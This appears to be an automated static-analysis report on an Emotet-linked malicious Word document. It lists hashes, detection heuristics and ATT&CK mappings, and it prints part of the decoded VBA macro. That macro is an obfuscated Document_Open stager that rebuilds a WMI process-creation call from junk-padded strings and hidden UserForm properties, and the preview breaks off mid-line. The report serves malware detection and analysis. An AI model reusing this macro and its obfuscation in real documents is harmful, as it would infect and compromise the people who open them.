Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7fbcf76c96a4ae4e…

MALICIOUS

Office (OLE)

233.3 KB Created: 2020-08-14 09:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 97fa8ea9ea86e437af047dcc214051ed SHA-1: 3327bb81a696700621cd1063eb475648024ba45a SHA-256: 7fbcf76c96a4ae4e9dddadfee2e9e4de29428ec565e03c431f6935dc3fd7da9e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-9318305-0. Critical heuristics indicate a VBA UserForm hidden-property command stager, which is a known technique for executing malicious code. The Document_Open macro is designed to trigger this stager, likely to download and execute a second-stage payload. The presence of VBA macros and the execution technique strongly suggest the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9318305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9318305-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7821 bytes
SHA-256: a507399b0be588e133b0e792e0fcac64bf7c296db34979b12758a7dc7434cb15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yslrikzo67_11"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Gtagipi3xtcoq7wh.Bv5e8mbbqxpg60
End Sub


Attribute VB_Name = "Gtagipi3xtcoq7wh"
Attribute VB_Base = "0{706AA2AC-A212-4F6A-9279-D337F664B740}{DBB5948B-5640-42EC-8BEB-2509BAC65D8C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bv5e8mbbqxpg60()
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Hswrewmo7q80q22fg = Gtagipi3xtcoq7wh.HelpContextId + 100
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Da4x0zse995c = ChrW(Hswrewmo7q80q22fg + (100 + 35) / 9)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
F3svae_ki4n5vv = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Da4x0zse995c + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Gtagipi3xtcoq7wh.Byzj2pqy377d2k + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
M5fighyekmb = Y0zyarohn18d(F3svae_ki4n5vv)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Set N4ma23ndsfd2 = CreateObject(M5fighyekmb)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Ca7lmd49b6eb1 = Gtagipi3xtcoq7wh.Xaerw_kv_fxp2nf.ControlTipText
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
X6qatugkh_4qq = Didsrerblgd1 + (M5fighyekmb + Da4x0zse995c + Gtagipi3xtcoq7wh.Boxd7pwl9j1.ControlTipText + Ca7lmd49b6eb1)
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Nae9m3uoabg = X6qatugkh_4qq + Gtagipi3xtcoq7wh.Byzj2pqy377d2k
   E3pdr7q4z_tc8 = 4
Do While E3pdr7q4z_tc8 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
E3pdr7q4z_tc8 = E3pdr7q4z_tc8 + 8: DoEvents
Loop
Set Et0ee67wf2jwd5 = Tug5atufhylvm(
... (truncated)